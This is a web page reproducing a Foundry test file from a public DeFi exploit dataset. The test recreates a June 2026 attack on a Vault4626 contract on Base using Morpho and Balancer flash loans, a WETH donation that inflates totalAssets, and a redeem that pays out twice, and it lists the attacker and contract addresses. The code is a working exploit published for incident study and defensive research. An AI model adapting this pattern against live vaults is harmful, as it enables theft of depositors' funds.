Public reproduction file
src/test/2026-06/Vault4626_exp.sol
Public reproduction file for dataset entry Vault4626.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~13.53 WETH8// Attacker : 0xA27eAE743Cd8C03E9b7c25ebF43DADbBC6Df9bFA9// Attack Contract : 0x47e775b8f175034b22fbA3A0F5B9E0F02551Af3C10// Vulnerable Contract : 0xD08579102fc28355C5839019b730Ce58F84E6a4d11// Attack Tx : https://basescan.org/tx/0x2f2e12fbdf541c28f3667153e5338f73a313096338dc5ca592453566debcd79013// @Info14// Vulnerable Contract Code : https://basescan.org/address/0xD08579102fc28355C5839019b730Ce58F84E6a4d#code16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/207149574407108651018//19// Attack summary: deposit borrowed USDC for nearly all vault shares, donate WETH to inflate totalAssets,20// then redeem so the vault pays USDC value and the actual WETH side.21// Root cause: Vault4626.totalAssets() quotes idle non-asset WETH into asset value, while redeem() later22// transfers the non-asset WETH itself to the redeemer.24address constant ATTACKER = 0xA27eAE743Cd8C03E9b7c25ebF43DADbBC6Df9bFA;25address constant ATTACK_CONTRACT = 0x47e775b8f175034b22fbA3A0F5B9E0F02551Af3C;26address constant VAULT_PROXY = 0x72dbAA8A09d71D09c6De0de439968e1E7c122020;27address constant VAULT_IMPLEMENTATION = 0xD08579102fc28355C5839019b730Ce58F84E6a4d;28address constant STRATEGY_PROXY = 0xe6644AE61EcA940B1201e0fe2c0574b3bE60cf9F;29address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;30address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;31address constant UNISWAP_V3_ROUTER = 0x2626664c2603336E57B271c5C0b26F421741e481;32address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;33address constant WETH_TOKEN = 0x4200000000000000000000000000000000000006;35uint256 constant FORK_BLOCK = 47_958_574;36uint256 constant USDC_FLASH_AMOUNT = 1_755_018_731_120;37uint256 constant WETH_FLASH_AMOUNT = 12.92 ether;38uint24 constant WETH_USDC_POOL_FEE = 3000;40interface IVault4626 {41 function deposit(42 uint256 assets,43 address receiver44 ) external returns (uint256 shares);45 function redeem(46 uint256 shares,47 address receiver,48 address owner49 ) external returns (uint256 assets);50 function totalAssets() external view returns (uint256);51}53interface IBaseSwapRouter {54 struct ExactInputSingleParams {55 address tokenIn;56 address tokenOut;57 uint24 fee;58 address recipient;59 uint256 amountIn;60 uint256 amountOutMinimum;61 uint160 sqrtPriceLimitX96;62 }64 function exactInputSingle(65 ExactInputSingleParams calldata params66 ) external payable returns (uint256 amountOut);67}69contract ContractTest is BaseTestWithBalanceLog {70 Vault4626Exploit private exploit;72 function setUp() public {73 vm.createSelectFork("base", FORK_BLOCK);75 fundingToken = WETH_TOKEN;76 attacker = ATTACKER;78 vm.label(ATTACKER, "Attacker");79 vm.label(ATTACK_CONTRACT, "Historical Attack Contract");80 vm.label(VAULT_PROXY, "Vault4626 Proxy");81 vm.label(VAULT_IMPLEMENTATION, "Vault4626 Implementation");82 vm.label(STRATEGY_PROXY, "Vault4626 Strategy Proxy");83 vm.label(MORPHO, "Morpho");84 vm.label(BALANCER_VAULT, "Balancer Vault");85 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 Router");86 vm.label(USDC_TOKEN, "USDC");87 vm.label(WETH_TOKEN, "WETH");89 exploit = new Vault4626Exploit();90 }92 function testExploit() public balanceLog {93 uint256 attackerWethBefore = IERC20(WETH_TOKEN).balanceOf(ATTACKER);94 uint256 vaultAssetsBefore = IVault4626(VAULT_PROXY).totalAssets();96 vm.prank(ATTACKER);97 exploit.start();99 uint256 attackerWethProfit = IERC20(WETH_TOKEN).balanceOf(ATTACKER) - attackerWethBefore;100 assertGt(attackerWethProfit, 13 ether, "WETH profit not reproduced");101 assertLt(IVault4626(VAULT_PROXY).totalAssets(), vaultAssetsBefore, "vault assets not reduced");102 }103}105contract Vault4626Exploit {106 constructor() {107 IERC20(USDC_TOKEN).approve(VAULT_PROXY, type(uint256).max);108 IERC20(USDC_TOKEN).approve(MORPHO, type(uint256).max);109 IERC20(USDC_TOKEN).approve(UNISWAP_V3_ROUTER, type(uint256).max);110 }112 function start() external {113 IMorphoBuleFlashLoan(MORPHO).flashLoan(USDC_TOKEN, USDC_FLASH_AMOUNT, "");114 IERC20(WETH_TOKEN).transfer(ATTACKER, IERC20(WETH_TOKEN).balanceOf(address(this)));115 }117 function onMorphoFlashLoan(118 uint256 assets,119 bytes calldata120 ) external {121 require(msg.sender == MORPHO, "unexpected morpho callback sender");123 IERC20[] memory tokens = new IERC20[](1);124 tokens[0] = IERC20(WETH_TOKEN);126 uint256[] memory amounts = new uint256[](1);127 amounts[0] = WETH_FLASH_AMOUNT;129 IBeethovenVault(BALANCER_VAULT)130 .flashLoan(IFlashLoanRecipient(address(this)), tokens, amounts, abi.encode(assets));131 }133 function receiveFlashLoan(134 IERC20[] memory tokens,135 uint256[] memory amounts,136 uint256[] memory feeAmounts,137 bytes memory userData138 ) external {139 require(msg.sender == BALANCER_VAULT, "unexpected balancer callback sender");140 require(address(tokens[0]) == WETH_TOKEN, "unexpected flash token");142 uint256 morphoRepayment = abi.decode(userData, (uint256));144 // step 1: deposit the Morpho USDC flash loan and receive vault shares.145 uint256 shares = IVault4626(VAULT_PROXY).deposit(morphoRepayment, address(this));147 // step 2: donate the Balancer WETH flash loan so totalAssets() quotes it into USDC value.148 IERC20(WETH_TOKEN).transfer(VAULT_PROXY, amounts[0]);150 // step 3: redeem shares; vulnerable redeem pays both USDC value and the WETH side.151 IVault4626(VAULT_PROXY).redeem(shares, address(this), address(this));153 // step 4: convert the surplus USDC above the Morpho repayment to WETH for final profit.154 uint256 usdcSurplus = IERC20(USDC_TOKEN).balanceOf(address(this)) - morphoRepayment;155 IBaseSwapRouter(UNISWAP_V3_ROUTER)156 .exactInputSingle(157 IBaseSwapRouter.ExactInputSingleParams({158 tokenIn: USDC_TOKEN,159 tokenOut: WETH_TOKEN,160 fee: WETH_USDC_POOL_FEE,161 recipient: address(this),162 amountIn: usdcSurplus,163 amountOutMinimum: 0,164 sqrtPriceLimitX96: 0165 })166 );168 // step 5: repay the Balancer WETH flash loan.169 IERC20(WETH_TOKEN).transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);170 }171}Analysis
Dataset entry
Public Foundry test for “Vault4626” (2026-06-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa27eae743cd8c03e9b7c25ebf43dadbbc6df9bfa
- Attack Contract
0x47e775b8f175034b22fba3a0f5b9e0f02551af3c
- Vulnerable Contract
0xd08579102fc28355c5839019b730ce58f84e6a4d
- Attack Tx
0x2f2e12fbdf541c28f3667153e5338f73a313096338dc5ca592453566debcd790
File record
- Name
- Vault4626
- Path
- src/test/2026-06/Vault4626_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- fac408b5ac21a4dbca7c1469bd4e552f6147d2d2
- Language
- Solidity
- Size
- 172 lines
- Date
- 2026-06-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/Vault4626_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fac408b5ac21a4dbca7c1469bd4e552f6147d2d2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.